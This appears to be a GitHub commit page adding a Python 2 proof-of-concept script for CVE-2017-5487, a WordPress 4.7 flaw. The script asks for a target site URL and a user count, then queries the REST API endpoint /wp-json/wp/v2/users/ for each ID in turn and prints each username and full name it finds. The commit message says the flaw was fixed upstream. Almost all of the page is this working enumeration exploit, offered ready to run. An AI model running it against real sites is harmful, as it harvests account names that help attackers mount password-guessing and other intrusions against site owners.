Skip to content

Commit 2f63947

Browse files
authored
Wordpress User Enumeration via REST API POC
Wordpress User Enumeration via REST API : affects wordpress 4.7 This has been fixed in an update here: WordPress/WordPress@daf3589
1 parent ae49728 commit 2f63947

File tree

1 file changed

+21
-0
lines changed

1 file changed

+21
-0
lines changed

wp_ue_api.py

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
import requests
2+
import json
3+
print "#############################################################"
4+
print "\tWordpress 4.7 User Enumeration PoC (CVE 2017-5487)\n\t\t\tWPVDB ID: 8715\n\n\t\t\tBy Alienwithin"
5+
print "#############################################################\n\n"
6+
targetSite = raw_input("Please enter the URL to target e.g. http://target.com : \nSite URL: ")
7+
NumberOfUsers = raw_input("Please enter the number of users to retrieve e.g. 10\n")
8+
print "ID || Username || Full Name\n\n"
9+
for users in range(1, int(NumberOfUsers)):
10+
req = requests.get(targetSite+'/wp-json/wp/v2/users/'+str(users))
11+
target_info_parsed = json.loads(req.text)
12+
if 'id' not in target_info_parsed:
13+
print "No user with ID :" + str(users)
14+
req.close()
15+
else:
16+
target_id = target_info_parsed['id']
17+
target_name = target_info_parsed['name']
18+
target_username = target_info_parsed['slug']
19+
print str(target_id)+ " || "+ str(target_username) + " || "+ str(target_name)+"\n"
20+
req.close()
21+

0 commit comments

Comments
 (0)